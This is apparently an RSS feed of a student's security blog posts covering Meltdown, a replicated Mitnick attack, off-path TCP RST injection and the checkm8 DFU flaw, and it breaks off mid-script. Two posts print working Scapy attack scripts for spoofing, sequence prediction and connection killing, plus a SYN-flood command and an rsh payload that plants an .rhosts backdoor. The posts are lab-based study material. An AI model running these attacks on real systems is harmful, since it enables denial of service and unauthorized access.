<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Saadan ashraf on Medium]]></title>
        <description><![CDATA[Stories by Saadan ashraf on Medium]]></description>
        <link>https://medium.com/@saadanashraf86?source=rss-69de1f2a640b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*8mpdeSs16D_V0U43</url>
            <title>Stories by Saadan ashraf on Medium</title>
            <link>https://medium.com/@saadanashraf86?source=rss-69de1f2a640b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 09:00:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@saadanashraf86/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Simulation of Meltdown (CVE-2017–5754)]]></title>
            <link>https://meetcyber.net/simulation-of-meltdown-cve-2017-5754-8ba8c2bfb6ac?source=rss-69de1f2a640b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ba8c2bfb6ac</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[computer-security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Saadan ashraf]]></dc:creator>
            <pubDate>Sun, 05 Apr 2026 11:00:39 GMT</pubDate>
            <atom:updated>2026-04-05T11:00:39.209Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Detailed report &amp; demo link at the end of the article</em></p><p>Every Computer Science student is taught a fundamental rule of operating systems: <strong>User Space and Kernel Space are separated by an iron curtain.</strong> User applications cannot just peek into the kernel’s memory. If they try, the CPU throws a segmentation fault, and the process crashes.</p><p>It is the bedrock of modern computer security. But what if that curtain is actually a window, provided you look fast enough?</p><p>As a CS student at the Institute of Business Administration (IBA), diving into computer and network security usually means looking at software bugs — SQL injections, buffer overflows, or cross-site scripting. But analyzing the <strong>Meltdown (CVE-2017–5754)</strong> vulnerability flipped my perspective completely. Meltdown isn’t a software bug; it is a fundamental hardware design flaw.</p><p>To truly understand it, I recently set up an environment to simulate the Meltdown exploit. Here is a breakdown of how the vulnerability works and what it looked like when I successfully dumped protected memory from the user space.</p><h3>The Illusion of Speed: Speculative Execution</h3><p>To understand Meltdown, we have to understand why modern CPUs are so incredibly fast. They don’t just execute instructions one by one; they predict the future. This is called <strong>Speculative Execution</strong>.</p><p>Imagine a hiker running down a trail who suddenly comes to a fork in the road. Instead of stopping, pulling out a map, and waiting to figure out the correct path, the hiker just guesses and keeps running.</p><ul><li>If they guessed correctly, they saved a lot of time.</li><li>If they guessed wrong, they teleport back to the fork and take the other path.</li></ul><p>The CPU does this with if statements. It guesses the outcome and executes the code ahead of time. If the CPU&#39;s guess is wrong, it discards the results and reverts its state. Architecturally, it&#39;s as if the wrong path was never taken.</p><p>But there is a catch. The hiker who took the wrong path might have teleported back, but they left footprints on the trail. In a CPU, those “footprints” are left in the <strong>CPU Cache</strong>.</p><h3>The Exploit: Out-of-Order Execution and Side Channels</h3><p>Meltdown exploits a specific feature of Speculative Execution called <strong>Out-of-Order Execution</strong>.</p><p>When a user program asks to read a secret value from Kernel Memory, the CPU has to do two things:</p><ol><li>Fetch the data from memory.</li><li>Check if the user actually has permission to read it.</li></ol><p>Because fetching data takes time, the CPU starts fetching the data <em>while</em> it is checking the permissions. It speculatively executes the next instructions using that secret data.</p><p>Eventually, the permission check fails. The CPU realizes the user program shouldn’t have that data, triggers a trap, and discards the state. But for a microscopic window of time, the secret data was used in the CPU’s calculations, and its traces were left in the L1 cache.</p><p>To extract the secret, we use a <strong>Side-Channel Attack</strong> known as Flush+Reload:</p><ol><li><strong>Flush:</strong> We clear the CPU cache so it’s completely empty.</li><li><strong>Trigger:</strong> We try to read the protected kernel memory. The CPU will eventually block us, but speculatively, it pulls the secret data into the cache.</li><li><strong>Reload &amp; Time:</strong> We probe our own memory array. We measure exactly how long it takes to access different parts of it. The part that accesses instantly? That’s the one the CPU pulled into the cache. By measuring the timing, we can infer the exact value of the secret data.</li></ol><h3>Running the Simulation</h3><p>For my project, I set up a controlled environment to run a proof-of-concept (PoC) in C. The goal was simple: place a secret string inside protected memory and write a strictly user-level program to read it.</p><p>The core of the attack relies on this highly precise timing. In my code, extracting a single byte required setting up an array, flushing it, forcing the speculative read, and then measuring the CPU cycles it took to reload.</p><pre>// A simplified conceptual snippet of the timing attack<br>flush_cache(probe_array);<br>// The CPU speculatively executes this before the permission check fails<br>uint8_t secret = kernel_memory_address; <br>temp = probe_array[secret * 4096];<br>// Catch the exception, then measure access times<br>for (int i = 0; i &lt; 256; i++) {<br>    int time = measure_access_time(&amp;probe_array[i * 4096]);<br>    if (time &lt; CACHE_HIT_THRESHOLD) {<br>        printf(&quot;Secret byte is: %c\n&quot;, i);<br>    }<br>}</pre><p>When I ran the simulation and recorded the results, seeing it work in real-time was surreal. A standard, unprivileged terminal process started spitting out the protected string byte by byte. It wasn’t guessing; it was reading the cache footprints left behind by the CPU’s own speed-optimizations.</p><h3>The Fix: KPTI</h3><p>So, how do we fix a flaw baked into the physical silicon of the CPU?</p><p>The industry’s answer was <strong>KPTI (Kernel Page Table Isolation)</strong>. Essentially, operating systems were patched to completely unmap the kernel from user space. If the user program tries to access kernel memory, the data simply isn’t there for the CPU to speculatively load.</p><p>The downside? Context switching between user space and kernel space became much heavier. Fixing Meltdown meant making almost every computer in the world noticeably slower.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*quU-sJwyHbF1kFRNgd9ltg.png" /></figure><h3>Final Thoughts</h3><p>Simulating Meltdown bridged the gap between theoretical operating system concepts and real-world cybersecurity. It proved that sometimes the most devastating vulnerabilities do not come from bad code, but from clever hardware optimizations working exactly as designed.</p><p><em>find the full report + demo here: </em><a href="https://merameltdown.vercel.app/">https://merameltdown.vercel.app/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ba8c2bfb6ac" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/simulation-of-meltdown-cve-2017-5754-8ba8c2bfb6ac">Simulation of Meltdown (CVE-2017–5754)</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Replicating the Legend: The Mitnick Attack]]></title>
            <link>https://medium.com/@saadanashraf86/replicating-the-legend-the-mitnick-attack-e6d6dd30e274?source=rss-69de1f2a640b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6d6dd30e274</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Saadan ashraf]]></dc:creator>
            <pubDate>Fri, 03 Apr 2026 13:05:32 GMT</pubDate>
            <atom:updated>2026-04-03T13:06:52.326Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BQlqE7Z7BayTIo2QYCgkxw.jpeg" /><figcaption>Thought it’ll look cool!</figcaption></figure><p>In the world of cybersecurity, some attacks are so elegant they become folklore. The <strong>Mitnick Attack</strong> (or the Christmas Day Attack of 1994) is one of them. As part of my Network Security coursework, I recently replicated this multi-stage exploit. Here’s a deep dive into how it works and why it remains a masterclass in protocol manipulation.</p><h3>The Objective</h3><p>The goal is to gain unauthorized access to a <strong>Server</strong> by impersonating a <strong>Trusted Host</strong>. In the 90s, many systems relied on “r-commands” (like rsh), which allowed access without a password if the request came from a trusted IP address.</p><h3>The Attack Architecture</h3><p>To pull this off, you need four players in the environment:</p><ol><li><strong>The Attacker:</strong> The mastermind.</li><li><strong>The Server:</strong> The target containing the “flag” or sensitive data.</li><li><strong>The Trusted Host:</strong> A machine the Server trusts implicitly.</li><li><strong>The Victim (Sidekick):</strong> Used to “silence” the Trusted Host.</li></ol><h3>The Three-Act Play</h3><h3>Act I: Silencing the Witness (SYN Flood)</h3><p>You cannot impersonate the Trusted Host if it is online and responsive. If the Server sends a packet to the Trusted Host during your attack, the Trusted Host will realize something is wrong and send a <strong>RST (Reset)</strong> packet, killing your connection.</p><ul><li><strong>The Move:</strong> I launched a <strong>SYN Flood</strong> against the Trusted Host. By filling its connection queue, I rendered it unable to respond to any new packets from the Server.</li></ul><h3>Act II: Predicting the Unpredictable (Sequence Numbers)</h3><p>TCP uses Sequence Numbers (SEQ) to ensure packets arrive in order. To spoof a connection, the Attacker must predict what SEQ number the Server will send to the Trusted Host.</p><ul><li><strong>The Move:</strong> I sent multiple legitimate connection requests to the Server to observe how its SEQ numbers incremented. By calculating the drift, I could predict the next $SEQ_{server}$ with high accuracy.</li></ul><h3>Act III: The Spoofed Handshake</h3><p>This is where the magic happens. I sent a SYN packet to the Server, but I forged the source IP address to look like it came from the <strong>Trusted Host</strong>.</p><ol><li><strong>Attacker to Server:</strong> “Hey, I’m the Trusted Host. Let’s talk!” (SYN)</li><li><strong>Server to (Silenced) Trusted Host:</strong> “Sure! Here is my $SEQ_{server}$.” (SYN-ACK)</li><li><strong>Attacker to Server:</strong> “Got it! Here is the $ACK$.” (Using the predicted $SEQ_{server} + 1$)</li></ol><p>Because the Trusted Host was silenced in Act I, it never saw the Server’s response. Because I predicted the sequence number in Act II, I was able to complete the handshake blindly.</p><h3>The Proof of Concept: Validation</h3><p>Successfully establishing the connection “blindly” is the technical hurdle. My terminal output confirms this critical step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*AXhKVU-1gpEq0OZM558hKg.png" /></figure><p><em>Proof of initial success. The attack script </em><em>mitnick_second_conn.py listens for and catches the necessary traffic, confirming the &#39;second connection&#39;—the spoofed link—is established blindly. I then verified command execution by confirming the creation of the file </em><em>/tmp/mitnick_was_here on the simulation container.</em></p><h3>The Payoff: Planting the Backdoor</h3><p>Once the connection was established, I didn’t just steal a file; I used the rsh protocol to execute a command that added + + to the Server&#39;s .rhosts file. This effectively told the Server to <strong>trust everyone from everywhere</strong>, giving me permanent, password-less access.</p><p>My final output confirms this total compromise:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*quPKLbp7KMCe5elJaBwmwQ.png" /></figure><p><em>The visual payoff of total compromise. The final line, </em><em>docker exec... cat /home/seed/.rhosts displaying </em><em>+ +, confirms the ultimate goal. The blind connection was used to execute a command that corrupted the target&#39;s access control file, opening a permanent backdoor for any connection.</em></p><h3>Key Takeaways</h3><ul><li><strong>Trust is a Vulnerability:</strong> Never rely solely on IP-based authentication.</li><li><strong>Randomness Matters:</strong> Modern OS kernels now use cryptographically secure random number generators for TCP sequence numbers, making this specific prediction much harder.</li><li><strong>Defense-in-Depth:</strong> A simple firewall rule preventing “IP Spoofing” (dropping packets where the source IP doesn’t match the incoming interface) would have stopped this attack in its tracks.</li></ul><h3>Technical Appendices: The Attack Scripts</h3><p>To replicate this, you would use a combination of tools and custom Python scripts using the Scapy library. Here are the core components used in my simulation.</p><p><strong><em>Disclaimer: These scripts are provided for educational purposes only. Unauthorized testing of systems you do not own is illegal. Use a sandboxed lab environment.</em></strong></p><h3>Act I: The SYN Flooder (Simulated/Simplified)</h3><p>In the lab simulation, this is often handled by a simple hping3 command to silence the &quot;Trusted Host&quot; (Sidekick).</p><pre># Silence the Sidekick (assume IP 10.9.0.6)<br>sudo hping3 -S --flood -V -p 9090 10.9.0.6</pre><h3>Act II: The Sequence Guesser (guess_seq.py)</h3><p>This script sends multiple SYN packets to the target server and analyzes the resulting SYN-ACK responses to calculate the sequence number increment.</p><pre>#!/usr/bin/env python3<br>from scapy.all import *<br>import sys<br># Define simulation IPs and Port<br>target_server_ip = &quot;10.9.0.5&quot; # The Server (Target)<br>trusted_host_ip = &quot;10.9.0.6&quot; # The Trusted Host (Silenced)<br>sport = 1023                  # Client Source Port (rsh standard)<br>dport = 514                   # Target Destination Port (rsh daemon)<br>print(f&quot;[*] Starting Sequence Guessing against {target_server_ip}...&quot;)<br>last_seq = 0<br>drift_values = []<br># Send 5 probes<br>for i in range(5):<br>    # Craft the initial SYN packet<br>    ip = IP(src=trusted_host_ip, dst=target_server_ip)<br>    tcp = TCP(sport=sport, dport=dport, flags=&quot;S&quot;, seq=1000 + i)<br>    pkt = ip/tcp<br>    # Send and wait for SYN-ACK<br>    # Use sr1 to send and receive one packet<br>    reply = sr1(pkt, verbose=0, timeout=1)<br>    if reply:<br>        # Get the sequence number from the Server&#39;s reply<br>        server_seq = reply[TCP].seq<br>        <br>        if last_seq &gt; 0:<br>            drift = server_seq - last_seq<br>            drift_values.append(drift)<br>            print(f&quot;[*] Probe {i+1}: Received SEQ={server_seq}. Drift={drift}&quot;)<br>        else:<br>            print(f&quot;[*] Probe {i+1}: Received Initial SEQ={server_seq}&quot;)<br>        <br>        last_seq = server_seq<br>    else:<br>        print(f&quot;[!] Probe {i+1}: Timed out.&quot;)<br># Calculate average drift for prediction<br>if drift_values:<br>    avg_drift = sum(drift_values) / len(drift_values)<br>    print(f&quot;\n[V] Calculation Complete.&quot;)<br>    print(f&quot;[V] Average Sequence Number Drift: {avg_drift}&quot;)<br>    predicted_seq = last_seq + int(avg_drift)<br>    print(f&quot;[V] Predicted next Server Sequence Number: {predicted_seq}&quot;)<br>else:<br>    print(&quot;\n[!] Failed to collect enough data points.&quot;)<br>sys.exit(0)</pre><h3>Act III: The Spoofing Script (mitnick_second_conn.py)</h3><p>This is the core of the final phase. It blindly completes the handshake and sends the malicious payload. This is a simplified, functional version of what you saw running in the screenshots. It combines connection establishment with immediate payload delivery.</p><pre>#!/usr/bin/env python3<br>from scapy.all import *<br>import sys<br>import time<br># --- CONFIGURATION (Match your simulation network) ---<br>attacker_ip      = &quot;10.9.0.1&quot;   # The Attacker&#39;s machine (for listening)<br>target_server_ip = &quot;10.9.0.5&quot;   # The Server (Target)<br>trusted_host_ip = &quot;10.9.0.6&quot;   # The Trusted Host (must be silenced!)<br>sport            = 1023          # Client Source Port (rsh standard)<br>dport            = 514           # Target Destination Port (rsh daemon)<br># --- THE PAYLOAD ---<br># We use rsh (port 514). It requires specific formatting:<br># [localuser]\x00[remoteuser]\x00[command]\x00<br>payload = b&#39;seed\x00seed\x00echo + + &gt; /home/seed/.rhosts\x00&#39;<br># --- THE ATTACK ---<br># We need the predicted sequence number from Act II.<br># For simplicity, let&#39;s assume it was:<br>predicted_server_seq = 1817501221 # From Screenshot 0<br>print(f&quot;[*] Starting Blind Spoofing Attack against {target_server_ip}&quot;)<br>print(f&quot;[*] Impersonating Trusted Host: {trusted_host_ip}&quot;)<br>print(f&quot;[*] (Assuming Predicted Server SEQ: {predicted_server_seq})&quot;)<br># Phase 1: Establish the spoofed TCP Connection<br># 1. Attacker (as Trusted Host) sends SYN<br>ip_syn = IP(src=trusted_host_ip, dst=target_server_ip)<br>tcp_syn = TCP(sport=sport, dport=dport, flags=&quot;S&quot;, seq=5000)<br>pkt_syn = ip_syn/tcp_syn<br>print(&quot;[*] Sending spoofed SYN...&quot;)<br>send(pkt_syn, verbose=0)<br># We cannot see the Server&#39;s SYN-ACK. We must complete the handshake blindly.<br># Phase 2: Complete Handshake and Send Payload<br># 2. Complete the handshake and immediately inject payload.<br># We MUST use the predicted sequence number here (ACK = predicted_server_seq + 1)<br>ip_payload = IP(src=trusted_host_ip, dst=target_server_ip)<br>tcp_payload = TCP(sport=sport, dport=dport, flags=&quot;AP&quot;, seq=5001, ack=predicted_server_seq + 1)<br>pkt_payload = ip_payload/tcp_payload/payload<br># Send the malicious payload<br>print(&quot;[*] Sending blind ACK + Payload...&quot;)<br>send(pkt_payload, verbose=0)<br>print(&quot;[V] Sent spoofed SYN+ACK. Second connection established!&quot;)<br>print(&quot;\n[*] Compromise attempt complete. Verify the target&#39;s .rhosts file.&quot;)<br>sys.exit(0)</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6d6dd30e274" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Blind: Terminating TCP Connections Without Sniffing]]></title>
            <link>https://meetcyber.net/hacking-blind-terminating-tcp-connections-without-sniffing-9d9e7208548f?source=rss-69de1f2a640b------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d9e7208548f</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[network-security]]></category>
            <dc:creator><![CDATA[Saadan ashraf]]></dc:creator>
            <pubDate>Fri, 27 Feb 2026 12:48:57 GMT</pubDate>
            <atom:updated>2026-04-03T19:45:18.593Z</atom:updated>
            <content:encoded><![CDATA[<h4><em>How I replicated advanced, off-path TCP sequence inference attacks using side-channel analysis and binary search algorithms</em></h4><p>For decades, TCP session hijacking has been a staple of network security. The premise is simple: if an attacker knows the source IP, destination IP, ports, and the exact 32-bit Sequence and Acknowledgment numbers, they can inject forged packets to hijack or terminate a connection.</p><p>Traditionally, this required being “on-path” — a Man-in-the-Middle (MITM) — to actively “sniff” the wire and read those sequence numbers from plaintext traffic.</p><p>But what happens when the traffic is encrypted, or you are completely “off-path” with no ability to capture the target’s packets?</p><p>In this lab, based on 2024–2025 network security research vectors, we demonstrated that being blind doesn’t mean you’re powerless. By exploiting modern kernel behaviors as a <strong>side-channel</strong>, an attacker can mathematically infer the exact sequence number and terminate a connection without ever reading a single packet payload.</p><h3>The Challenge: Modern Kernel Defenses (RFC 5961)</h3><p>In the past, an off-path attacker could just blindly spray forged RST (Reset) packets at a target, hoping one would fall within the TCP receive window.</p><p>Modern operating systems, however, implement <strong>RFC 5961</strong>. This defense dictates that if a received RST packet has a sequence number that is <em>inside</em> the window but not an <em>exact match</em> for the next expected sequence number, the kernel shouldn’t just drop the connection. Instead, it views the packet as suspicious and sends a <strong>“Challenge ACK”</strong> back to the legitimate sender to verify if the reset request was genuine.</p><p>Since the legitimate sender didn’t send the RST, it ignores the Challenge ACK, and the connection survives. This makes blind brute-forcing incredibly difficult.</p><h3>The Solution: Side-Channel Inference</h3><p>The 2024 research vector taught in our course highlights a critical weakness in this defense: <strong>the Challenge ACK itself is a tell.</strong></p><p>Even if an attacker cannot decrypt Wi-Fi traffic (like WPA2/3), they can observe side channels, such as the size of encrypted frames flying through the air. A Challenge ACK typically creates a frame of a very specific size (e.g., 68 bytes).</p><p>This gives a blind attacker a “hot or cold” mechanism:</p><ol><li><strong>Guess a sequence number.</strong></li><li><strong>Did the target send a 68-byte frame back?</strong></li></ol><ul><li><strong>No?</strong> The guess was outside the window. Cold.</li><li><strong>Yes?</strong> The guess hit the window and triggered a Challenge ACK. Hot.</li></ul><p>Once an attacker hits the window, they don’t need to keep guessing randomly. They can use a <strong>Binary Search algorithm</strong> based on this side-channel feedback to rapidly pinpoint the exact sequence number.</p><h3>The Setup</h3><p>To replicate this, we built an isolated environment using Docker:</p><ul><li><strong>Attacker:</strong> Kali Linux container running our Python/Scapy script.</li><li><strong>Victim Server &amp; Client:</strong> Ubuntu containers communicating via a long-lived netcat connection over a dedicated bridge network.</li></ul><p>Our goal was to terminate the netcat connection from the Kali host without ever using tcpdump to read the packet headers.</p><h3>The Attack Execution</h3><p>We developed a Python script using Scapy to automate this entire process. Because our Docker lab doesn’t use real Wi-Fi radio frames, our script uses a behavioral sensor to detect the presence of pure ACK packets returning from the target, simulating the side-channel observation.</p><p>Here is the breakdown of the execution, as captured in our lab terminal:</p><h4>Phase 1: The Sweep</h4><p>The script started completely blind. It began sending spoofed RST packets, jumping by 400 sequence numbers at a time (calibrated for the target’s small TCP window size).</p><p>As shown in the screenshot below, it swept through the 22098... range until it finally hit the window at sequence 2209894200. The side-channel sensor detected the resulting Challenge ACK behavior, printing &quot;SUCCESS!&quot;.</p><h4>Phase 2: The Binary Search Inference</h4><p>This is where the magic happens. The script switched from sweeping to a binary search algorithm. It knew the exact sequence number was somewhere in the 400-number gap preceding the successful hit.</p><p>It began splitting the difference, testing the midpoint, and listening for the side-channel response. In a matter of seconds, it narrowed the 4.2 billion possible sequence numbers down to exactly one: <strong>2209894002</strong>.</p><h4>Phase 3: The Kill Shot</h4><p>With the exact sequence number mathematically inferred, the script crafted one final, perfect RST packet. Because the sequence number was an exact match, the target’s kernel bypassed the Challenge ACK defense and instantly terminated the connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*w4fLW4gi3USZRMV-GtgByQ.png" /></figure><p><em>The complete attack execution. The script sweeps to find the window, utilizes binary search to infer the exact sequence number, and terminates the target connection.</em></p><h3>The Code</h3><p>Here is the core logic of the Python script that powered the attack. It demonstrates how to combine packet forging with behavioral sensing to execute a binary search attack.</p><pre> from scapy . all import *<br> import time<br> import sys<br><br> # Target Parameters<br> server_ip = &quot; 10.9.0.5 &quot;<br> client_ip = &quot; 10.9.0.6 &quot;<br> server_port = 8000<br> client_port = 59590<br> jump_size = 400<br> starting_guess = 2209883000<br><br> # Dynamically route Scapy to the Docker bridge network<br> target_iface = conf . route . route ( client_ip ) [0]<br><br> print (&quot; [*] Starting Side - Channel Sequence Inference Attack &quot;)<br><br> def triggers_challenge_ack ( seq_guess ) :<br> &quot;&quot;&quot;<br> Simulates the ’Encrypted Frame Size ’ side - channel .<br> Sends a spoofed RST and uses a sensor to detect a Challenge ACK .<br> &quot;&quot;&quot;<br> sniffer = AsyncSniffer ( iface = target_iface , filter = f&quot;tcp and src {<br>client_ip } and dst { server_ip } and tcp[ tcpflags ] == 16&quot;, timeout<br>=0.5)<br> sniffer . start ()<br> time . sleep (0.1)<br><br><br> ip = IP ( src = server_ip , dst = client_ip )<br> tcp = TCP ( sport = server_port , dport = client_port , flags =&quot;R&quot;, seq =<br>seq_guess )<br> send ( ip / tcp , verbose =0)<br><br> sniffer . join ()<br> return len ( sniffer . results ) &gt; 0<br><br> try:<br> # Phase 1: Sweeping<br> print ( f&quot;[*] Phase 1: Sweeping sequence space ( Jump Size : { jump_size<br>}) to trigger a Challenge ACK ... &quot;)<br> hit_seq = None<br> for seq in range ( starting_guess , 4294967295 , jump_size ) :<br> sys . stdout . write ( f&quot;\r[*] Sweeping : Guessing Sequence {seq }... &quot;)<br> sys . stdout . flush ()<br> if triggers_challenge_ack ( seq ) :<br> hit_seq = seq<br> print ( f&quot;\n[+] SUCCESS ! Challenge ACK observed at sequence :<br>{ hit_seq }&quot;)<br> break<br><br> if not hit_seq :<br> exit ()<br><br> # Phase 2: Binary Search Inference<br> print (&quot;\n[*] Phase 2: Executing Binary Search to find the exact<br>sequence edge ...&quot;)<br> low = hit_seq - jump_size<br> high = hit_seq<br><br> while low &lt; high :<br> mid = ( low + high ) // 2<br> print ( f&quot;[*] Binary Search : Testing Sequence {mid }... &quot;)<br> if triggers_challenge_ack ( mid ) :<br> high = mid<br> else :<br> low = mid + 1<br><br> exact_seq = low<br> print ( f&quot;\n[+] Binary Search Complete !&quot;)<br> print ( f&quot;[+] The EXACT expected sequence number inferred is: {<br>exact_seq }&quot;)<br><br> # Phase 3: The Kill Shot<br> print (&quot;\n[*] Phase 3: Firing the fatal RST packet with the exact<br>sequence number ...&quot;)<br> ip = IP ( src = server_ip , dst = client_ip )<br> tcp = TCP ( sport = server_port , dport = client_port , flags =&quot;R&quot;, seq =<br>exact_seq )<br> send ( ip / tcp , verbose =0)<br> print (&quot;[*] Target neutralized . Check the Client terminal (Tab 3)!&quot;)<br><br> except KeyboardInterrupt :<br> exit ()</pre><h3>Conclusion</h3><p>This lab serves as a powerful demonstration that network protocols are often more vulnerable than they appear. Even without the ability to sniff plaintext traffic, advanced attackers can leverage subtle kernel behaviors — like the generation of Challenge ACKs — as side channels to perform precise, off-path attacks.</p><p>It reinforces a critical lesson in modern cybersecurity: relying solely on obscurity or network position is not enough. Robust defense requires cryptographic integrity at the transport layer (like TCP-AO) or strict network-level anti-spoofing measures (BCP 38) to truly neutralize these threats.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d9e7208548f" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/hacking-blind-terminating-tcp-connections-without-sniffing-9d9e7208548f">Hacking Blind: Terminating TCP Connections Without Sniffing</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Unpatchable Flaw: A Deep Dive into Apple’s DFU Mode and the Checkm8 Exploit]]></title>
            <link>https://medium.com/@saadanashraf86/the-unpatchable-flaw-a-deep-dive-into-apples-dfu-mode-and-the-checkm8-exploit-0d3dae2a2075?source=rss-69de1f2a640b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d3dae2a2075</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[apple]]></category>
            <category><![CDATA[checkm8]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Saadan ashraf]]></dc:creator>
            <pubDate>Wed, 31 Dec 2025 10:00:22 GMT</pubDate>
            <atom:updated>2025-12-31T10:00:22.630Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Saadan Ashraf </strong><em>Co-authored with </em><strong><em>Afhaam Altaf</em></strong><em> and </em><strong><em>Syed Abdullah<br>Supervised by </em></strong><a href="https://medium.com/u/feb8df5ef4ee"><strong><em>Faisal Iradat</em></strong></a></p><p>In the world of embedded security, the “Root of Trust” is sacred. For Apple devices, this root is the BootROM — immutable code etched directly into the silicon during fabrication. Because this code is read-only, it cannot be patched via software updates. If a vulnerability exists here, it exists forever.</p><p>Recently, my team conducted a granular analysis of the Device Firmware Upgrade (DFU) protocol. We didn’t just want to understand <em>that</em> it worked; we wanted to understand <em>how</em>. We dissected the leaked source code of the iBoot/SecureROM and even forked the famous <strong>checkm8</strong> exploit to implement support for the iPhone 6 Plus (CPID: 7000) , a device not originally supported in the main repo.</p><p>Here is what we found deep inside the USB stack.</p><h3>The Gatekeeper: Understanding DFU</h3><p>When an iPhone fails to boot, it falls back to DFU mode. This is a recovery mechanism designed to accept cryptographically signed images via USB. DFU relies exclusively on Control Endpoint 0 (EP0) transfers, adhering strictly to the USB specification’s three-phase architecture: Setup Stage, Data Stage, and Status Stage.</p><p>While this strict structure — shown in Figure 1 above — appears robust, our audit of drivers/usb/usb_core.c and usb_dfu.c revealed that the implementation relies on a fragile assumption: that the &quot;logical&quot; state of a transfer and the &quot;physical&quot; state of the hardware are always perfectly synchronized.</p><h3>The Vulnerability: A Tale of Two Layers</h3><p>The vulnerability is a classic <strong>Use-After-Free (UAF)</strong> scenario born from a race condition. It stems from how the system handles the global I/O buffer (io_buffer).</p><h3>1. The Setup</h3><p>When DFU initializes, it allocates a global io_buffer using memalign to satisfy cache line alignment constraints. This buffer is a critical shared resource. When a request comes in (e.g., DFU_DNLOAD), the interface handler validates the length and points a global pointer (*out_buffer) to this static io_buffer.</p><h3>2. The Disconnect</h3><p>The fatal flaw exists in the interaction between usb_transfer.c (Logical Layer) and usb_controller.c (Physical Layer).</p><ul><li><strong>The Logical Layer</strong> tracks the concept of a file transfer using timeouts and completion statuses.</li><li><strong>The Physical Layer</strong> deals with raw DMA transactions and interrupts.</li></ul><p>We found that these two layers are not atomically synchronized. If a transfer times out, the logical layer marks it as “failed” and effectively frees the resource. However, the hardware controller might still be processing a DMA write to that very same buffer.</p><h3>3. The “Smoking Gun”</h3><p>Our analysis of usb_transfer.c uncovered the exact moment the logic breaks. The system uses a &quot;borrowed reference&quot; pattern without locking.</p><p>C</p><pre>// From drivers/usb/usb_transfer.c</pre><pre>// 1. The Setup: Borrowing the reference<br>void usb_transfer_prepare(int type, void *address, u_int32_t length) {<br>    // ...<br>    image_buffer = address; // VULN: No reference counting or locking! [cite: 135, 141]<br>    image_buffer_size = length; // [cite: 142]<br>    trnsfr_done = false; // [cite: 143]<br>    // ...<br>}</pre><pre>// 2. The Race: The Timeout Handler<br>static void transfer_failed() {<br>    print(&quot;\n&quot;); // [cite: 167]<br>    callout_dequeue(&amp;trnsfr_callout); // [cite: 168]<br>    completion_status = -1; // [cite: 169]<br>    // ...<br>    trnsfr_done = true; // VULN: Logically frees the transfer while hardware might still be busy [cite: 173]<br>    event_signal(&amp;trnsfr_event); // [cite: 174]<br>}</pre><p>This code proves that transfer_failed signals the system that the buffer is free (trnsfr_done = true) without verifying if the hardware has actually stopped writing to it.</p><h3>Weaponizing the Flaw: The Checkm8 Exploit</h3><p>Understanding the bug is one thing; exploiting it is an art form. The checkm8 exploit turns this race condition into arbitrary code execution. Our team analyzed the exploit flow specifically for the iPhone 6 Plus.</p><h3>Phase 1: Heap Feng-Shui</h3><p>Before we can exploit the UAF, we must groom the heap. The goal is to force the system to place new objects at predictable offsets relative to the freed buffer. We used three specific request types: stall (cancel immediately), leak (normal transfer), and no_leak (alter heap behavior) .</p><p>By repeating a specific sequence, we create “holes” in the heap. When DFU re-initializes, the new usb_device_io_request structure lands exactly where we want it—at a fixed offset (0x5c0 on our test device) relative to the old buffer.</p><p>Python</p><pre># From our modified checkm8.py [cite: 536]</pre><pre>def main():<br>    # ...<br>    # Heap Feng-Shui Sequence [cite: 551]<br>    